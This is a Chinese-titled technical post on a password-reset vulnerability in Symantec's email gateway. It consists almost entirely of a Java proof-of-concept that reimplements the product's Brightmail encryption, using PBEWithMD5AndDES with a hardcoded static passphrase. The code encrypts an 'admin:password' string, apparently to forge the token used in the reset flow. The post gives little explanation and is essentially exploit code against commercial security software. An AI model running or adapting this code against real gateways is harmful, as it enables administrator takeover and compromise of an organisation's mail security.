【技术分享】赛门铁克邮件网关重置密码漏洞

package com.symantec.smg.controlcenter.internal.security;

import sun.misc.BASE64Encoder;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import java.security.*;

public class Test {
    public static void main(String[] args) {

        try {
            Provider jceProvider = new com.rsa.jsafe.provider.JsafeJCE();
// Add the JCE Provider class to the current list of providers available on the system.
            Security.insertProviderAt (jceProvider, 1);

            String encrypt = BrightmailEncrypt.encrypt("admin:gyqhLj1OzbJSQ!");
            System.out.println(encrypt);
            //System.out.println(BrightmailDecrypt.decrypt(encrypt));
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public static class BrightmailEncrypt {
        private static BrightmailEncrypt instance = null;


        private Cipher cipher;


        private BASE64Encoder encoder;


        private String saltString;


        private BrightmailEncrypt() throws Exception {
            byte[] salt = null;
            try {
                salt = new byte[8];
                SecureRandom random = SecureRandom.getInstance("FIPS186PRNG");
                random.nextBytes(salt);


                PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray());


                SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");


                SecretKey key = keyFactory.generateSecret(keySpec);


                PBEParameterSpec paramSpec = new PBEParameterSpec(salt, 1000);


                this.cipher = Cipher.getInstance("PBEWithMD5AndDES");
                this.cipher.init(1, key, paramSpec);
            } catch (Exception e) {

                throw new Exception(e);
            }

            this.encoder = new BASE64Encoder();
            this.saltString = this.encoder.encode(salt);
        }


        public static BrightmailEncrypt getInstance() throws Exception {
            if (instance == null) {
                instance = new BrightmailEncrypt();
            }
            return instance;
        }


        public String fastEncrypt(String text) throws Exception {
            try {
                byte[] ciphertext = this.cipher.doFinal(text.getBytes());
                String ciphertextString = this.encoder.encode(ciphertext);
                return this.saltString + ciphertextString;
            } catch (Exception e) {

                throw new Exception(e);
            }
        }


        public static String encrypt(String plaintext) throws Exception {
            return (new BrightmailEncrypt()).fastEncrypt(plaintext);
        }


        public static boolean isEncrypted(String text) {
            boolean encrypted = true;


            try {
                BrightmailDecrypt.decrypt(text);
            } catch (Exception e) {

                encrypted = false;
            }
            return encrypted;
        }
    }
}